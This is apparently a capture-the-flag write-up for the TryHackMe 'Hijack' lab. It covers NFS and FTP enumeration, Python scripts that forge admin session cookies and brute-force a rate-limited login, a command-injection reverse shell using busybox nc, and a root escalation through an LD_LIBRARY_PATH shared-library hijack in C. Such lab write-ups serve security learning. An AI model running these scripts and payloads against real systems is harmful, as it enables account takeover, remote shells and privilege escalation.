> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2023/hijack.md).

# Hijack

Misconfigs conquered, identities claimed. - by amine04

{% embed url="<https://tryhackme.com/room/hijack>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

By scanning our target with Nmap, we can discover several open ports. Notable services are FTP on port 21, SSH on port 22, a web server on port 80, Microsoft Windows RPC on port 111 with multiple 4xxxx ports, and the NFS access control list on port 2049.

```
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
33311/tcp open  mountd   1-3 (RPC #100005)
40915/tcp open  mountd   1-3 (RPC #100005)
43712/tcp open  nlockmgr 1-4 (RPC #100021)
45385/tcp open  mountd   1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F42pNw5A8sQs1bSexkIm1%2Fgrafik.png?alt=media&amp;token=7423617c-ba26-4598-82e0-ee3e2b669a1d" alt=""><figcaption></figcaption></figure>

After finishing the Nmap scan, we run a Gobuster scan to enumerate all possible files and directories.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Flb0iPQAN6ENNaAdZ0Sci%2Fgrafik.png?alt=media&amp;token=6bbb7532-2922-444e-bda8-745bdc5f38c4" alt=""><figcaption></figcaption></figure>

While the Gobuster scan is running, the website can be inspected manually. Four links are present, of which three are of interest, directing to an administration portal, a login page and a signup page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6B6XnLpVmdmFFmYvLkq1%2Fgrafik.png?alt=media&amp;token=d52d7c5b-1764-4716-a32d-5f70a09db02c" alt=""><figcaption></figcaption></figure>

Access to the administration page without proper permissions is denied.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmrrHLqz3mvumjJcIyZr0%2Fgrafik.png?alt=media&amp;token=46c73953-d76e-46ea-b4f5-792286a60a79" alt=""><figcaption></figcaption></figure>

Next, we check out the login page. Providing a arbitrary user, we see that we are able to enumerate users since we received the message: `"No account found with that username.".`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBghzduhHxCHKmz5yl6e1%2Fgrafik.png?alt=media&amp;token=773dc6d5-16bb-4bde-9ae8-607fd96c672a" alt=""><figcaption></figcaption></figure>

First, we try to access the page with the default credentials `admin:admin` and get a hit. The user is present, but the password used is not valid. Since we now have a user, referencing an administrator, we just need the password, right? The first attempt was a brute force via a little Python script using rockyou.txt as a wordlist. But after a short test, it was clear that this attempt might not lead to any results because a rate limiter was implemented, locking the attempted user for 300 seconds after five wrong password inputs.<br>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWrAwZ1zHTJVpsMMypciB%2Fgrafik.png?alt=media&amp;token=30baff24-2129-4a31-addb-664546a983cb" alt=""><figcaption></figcaption></figure>

## Foothold

So, the idea now is to gather more information; maybe a hint or credentials can be found at the FTP or NFS.

### NFS + FTP

The first attempt was made at the FTP with an anonymous login, but it did not work out. Access via `anonymous` is not possible. But there is also another service running that is similar to SMB, the NFS service. A short walkthrough can be found at HackTricks on how to enumerate and exploit NFS:

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting>" %}

To list all available folders the following command can be prompted.&#x20;

```
showmount -e hijack.thm
```

We see that a share is available:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdaaF2NW7HJpBJdxyT1Zn%2Fgrafik.png?alt=media&amp;token=59264c5b-0d56-44af-ad22-ba9f5eccf00b" alt=""><figcaption></figcaption></figure>

Via mounting, the share can be accessed. Looking at the permission, it's owned by a user with the UID `1003` and is fully restricted to the user. Since our current user does not have that UID we cannot do anything with the share.

```
mount -t nfs <ip>:<remote_folder> <local_folder> -o nolock
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOnJ1mr5VlIRW83pply9I%2Fgrafik.png?alt=media&amp;token=ab60098c-9094-4062-be09-da5e60400f1f" alt=""><figcaption></figcaption></figure>

But it is possible to access the share by creating a user on the machine we own with the UID to access the share:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F99fzJpRB7SUbb6mVCL2t%2Fgrafik.png?alt=media&amp;token=d4b86d9b-fd5a-4a01-b809-02cfa167a5de" alt=""><figcaption></figcaption></figure>

After adding the use, we are able to access the share and see a note called `for_employees.txt`. In the file, the credentials of the FTP user can be found: `ftpuser:[REDACTED]`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwmTaYe9Jz3n8YZIRzwHA%2Fgrafik.png?alt=media&amp;token=616b8be8-bdd2-45b5-bf13-6223aa1a5d01" alt=""><figcaption></figcaption></figure>

Via `wget` all content is recursively downloaded. We have a note from the admin informing the users to use the passwords from the `.password_list.txt`; those don't appear in other wordlists and are considered safe for that reason by the admin. He also uses a password from the list. Nice.\
&#x20;

```bash
wget -r --user="ftpuser" --password="REDACTED" ftp://hijack.thm/
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs3ARM4s1OoELKW96oHq5%2Fgrafik.png?alt=media&amp;token=df1abb6b-50a2-44a0-b519-dcdd68183684" alt=""><figcaption></figcaption></figure>

### Sesssion Hijacking - The Intended Way

During the enumeration process, we created a test user `user:userpass123` to see what it could do on the platform. In fact, this user has no rights, but we see that a session cookie was created for the user after logging in.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvQ11Mj9cRylnjn993eM4%2Fgrafik.png?alt=media&amp;token=3be005ce-a94d-41d7-aba6-df115f51cd9f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWJv87y5HDM56Efb3saY3%2Fgrafik.png?alt=media&amp;token=de82a629-a9cf-4a60-92da-25f79177e281" alt=""><figcaption></figcaption></figure>

On the first sight, we see that it is `base64` encoded. Decoding it via CyberChef reveals its plaintext structure. It's the name of the user and an MD5 hash concatenated with a colon.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhqIpbcuC8UdgHX0zpgOI%2Fgrafik.png?alt=media&amp;token=e37210e7-754d-4cb8-ba09-e1cf38d630fe" alt=""><figcaption></figcaption></figure>

Hashing different kinds of combinations of username and password, we see that only the password gets hashed. With that information, we can build a Python script that is able to craft session cookies for the admin user with the help of the found password list, which will then be checked when accessing `administration.php`. This was the second successful approach; the first, also successful, was to brute force the login even though a rate limiter was implemented.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEBdgWogav8a7QucVe251%2Fgrafik.png?alt=media&amp;token=b48ec65e-bfa1-481f-8132-8e76abab02aa" alt=""><figcaption></figcaption></figure>

{% code title="session\_hijack.py" lineNumbers="true" %}

```python
import requests
import re 
import hashlib
import base64

file_path = 'hijack.thm/.passwords_list.txt'  
passwords = []  
md5 = hashlib.md5()
_fail = r"Access denied"

with open(file_path, 'r') as file:
    for line in file:
        passwords.append(line.strip()) 
for password in passwords:

    hashed_password = hashlib.md5(str(password).encode('utf-8')).hexdigest()

    plain = "admin:" + hashed_password
    encoded_bytes = base64.b64encode(plain.encode('utf-8'))
    sessionid = encoded_bytes.decode('utf-8')

    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/administration.php',
            'Cookie': 'PHPSESSID='+sessionid,
            'Upgrade-Insecure-Requests': '1'
    }
    url = 'http://hijack.thm/administration.php'

    response = requests.post(url, headers=headers)
    text = response.text
    fail = re.findall(_fail,text)
    if(len(fail) == 0):
        print("valid session found: " + sessionid)
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7Jof30KYtszPBZ0l9G6P%2Fgrafik.png?alt=media&amp;token=a9fabc45-ad8e-4892-b03b-37b8e4c5a9db" alt=""><figcaption></figcaption></figure>

### Brute Forcing - The Unintended Way

This was the first successful attempt, which took a lot of time and is not recommended.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsgVwQuIjfuHvIxBHvo3u%2Fgrafik.png?alt=media&amp;token=c992b293-e114-4336-9b0c-1a5172799b62" alt=""><figcaption></figcaption></figure>

The script tries every password until the account is locked, and continues with the next password if the account gets unlocked again.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeTtdGJ9sRw0Crmn9Ojda%2FPeek%202023-10-20%2021-50.gif?alt=media&amp;token=4c4b70cf-04cf-43da-a2ee-f733668c2ee3" alt=""><figcaption></figcaption></figure>

{% code title="brute\_force.py" lineNumbers="true" %}

```python
import requests
import re 
import time

file_path = 'hijack.thm/.passwords_list.txt'
index = 0
seconds = 0
_exceeded = r"exceeded"
_fail = r"not valid"
lines = []  

with open(file_path, 'r') as file:
    for line in file:
        lines.append(line.strip()) 
while index < len(lines):
    
    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/login.php',
            'Cookie': 'PHPSESSID=va4q1sfgcrdqfj9kr0c7ej7jv4',
            'Upgrade-Insecure-Requests': '1'
    }

        
    data = {
            'username': 'admin',
            'password': lines[index]
    }
    print("try password {0}", lines[index], end='\r')

    
    url = 'http://hijack.thm/login.php'

    
    response = requests.post(url, headers=headers, data=data)

    text = response.text
    exceeded = re.findall(_exceeded,text)
    fail = re.findall(_fail,text)
    if(len(exceeded) != 0):
        seconds += 1
        print("status exceeded " + lines[index] + "sec: " + str(seconds), end='\r')
    elif(len(fail) != 0):
        print("status wrong " + lines[index], end='\r')
        seconds = 0
        index +=1
    else:
        print("found valid password " + lines[index] + " at " + str(index))
        file_path = 'output.txt'  
        with open(file_path, 'w') as file:
        
           file.write("\n"+ lines[index] +"\n")
        break;
    time.sleep(1)
```

{% endcode %}

### Getting A Reverse Shell

After getting the session cookie or the credentials of the admin user, we are able to access the administration panel. There we have a status checker for services that looks like it could be vulnerable to command injection.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FheVe6OMi0h3MT82InDfw%2Fgrafik.png?alt=media&amp;token=963d0491-d394-4b0e-a94c-5e595958b57c" alt=""><figcaption></figcaption></figure>

And a simple test via command substitution shows that command injection is possible:

{% embed url="<https://tldp.org/LDP/abs/html/commandsub.html>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzNAv1wKG7H5kHn1zqk6x%2Fgrafik.png?alt=media&amp;token=8638fd8d-8e51-4b07-8b48-f967fd851842" alt=""><figcaption></figcaption></figure>

Next, we try several payloads from revshells.com. The following one worked flawlessly because none of the filtered characters were present.

```bash
$(busybox nc 10.9.31.94 4445 -e /bin/bash)
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYlO27ZrZdvOdJWenagmK%2FPeek%202023-10-20%2020-59.gif?alt=media&amp;token=439819f4-93a6-4710-b12c-9c08689c4611" alt=""><figcaption></figcaption></figure>

We connect, upgrade the shell and start enumerating the target as the user `www-data`.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

on

The first move was to install linpeas. With linpeas credentials in `config.php` could be located.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9e92dt3BL9yw8NV2ZzF2%2Fgrafik.png?alt=media&amp;token=ea859461-c91a-4b88-9ad8-eb3ff047a92a" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

In the `config.php` of the web application, we find the credentials of `rick` for MySQL. This user was also mentioned in the note from the admin and is also a user of the system locatable in `/etc/passwd`.

<div><figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrIf5ftVwEijP3dl3XzgT%2Fgrafik.png?alt=media&amp;token=b27bf3bd-fa4b-4735-9897-72284c997307" alt="" width="414"><figcaption></figcaption></figure> <figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FK9fpIN5PyJvSZyVNCjcW%2Frickroll-roll.gif?alt=media&amp;token=b506f18b-ded4-4cd6-b8ce-c3916e3d02e1" alt="" width="320"><figcaption></figcaption></figure></div>

### First Flag

Maybe those credentials were reused. We try to change the user with the found credentials, and we are able to switch to the user `rick`. In the home directory of rick we find the first flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeXlun6diwMuQfk8mbNLG%2Fgrafik.png?alt=media&amp;token=1f19c006-b3a7-432c-9bc1-1716180d2569" alt=""><figcaption></figcaption></figure>

### Second Flag

On enumerating the user rick, we see that Apache2 is executable via sudo by providing rick's password. And the **`LD_LIBRARY_PATH`,** which contains a list of directories that search for shared libraries first, is kept. This allows us to load a custom library, for example, containing code to run a shell to escalate privileges.<br>

> Programs running via sudo can inherit variables from the environment of the user. If the **env\_reset** option is set in the **/etc/sudoers** config file, sudo will run the programs in a new, minimal *environment*. The **env\_keep** option can be used to keep certain environment variables from the user’s environment. The configured options are displayed when running **sudo -l**.

{% embed url="<https://atom.hackstreetboys.ph/linux-privilege-escalation-environment-variables/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fxc8yb5J1lroI8qcoZJqW%2Fgrafik.png?alt=media&amp;token=4a9cb6d8-1aa8-45a6-a26c-7906671751f2" alt=""><figcaption></figcaption></figure>

We print the shared libraries used by Apache2 and use one of the shared objects in the list to hijack it by creating a file with the same name.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fuo19np9KIIKKCort4lZt%2Fgrafik.png?alt=media&amp;token=8acb4930-d2a0-4579-9e75-cd0305cd2fc8" alt=""><figcaption></figcaption></figure>

Implement a short C program that replaces one of the listed libraries.

{% code title="hijack.c" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
```

{% endcode %}

Next, we just have to compile it with the exact name, here `libcrypt.so.1.`

```bash
gcc -o /tmp/libcrypt.so.1 -shared -fPIC hijack.c
```

With the custom `libcrypt.so.1` at hand, we run the Apache2 command and set the **`LD_LIBRARY_PATH`** variable to the location of our library. After executing the command, we become root.<br>

```bash
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGSIZJcwKq5Va0DKjJftm%2Fgrafik.png?alt=media&amp;token=e1e8a5d2-b65b-4f08-9388-71603652f58f" alt=""><figcaption></figcaption></figure>

Now we are able to reach the root's home directory and capture the last flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkhxnJQFftEK7vkq4okdv%2Fgrafik.png?alt=media&amp;token=ac84ecb9-1eeb-43fa-88c4-d6d24d300eb6" alt=""><figcaption></figcaption></figure>
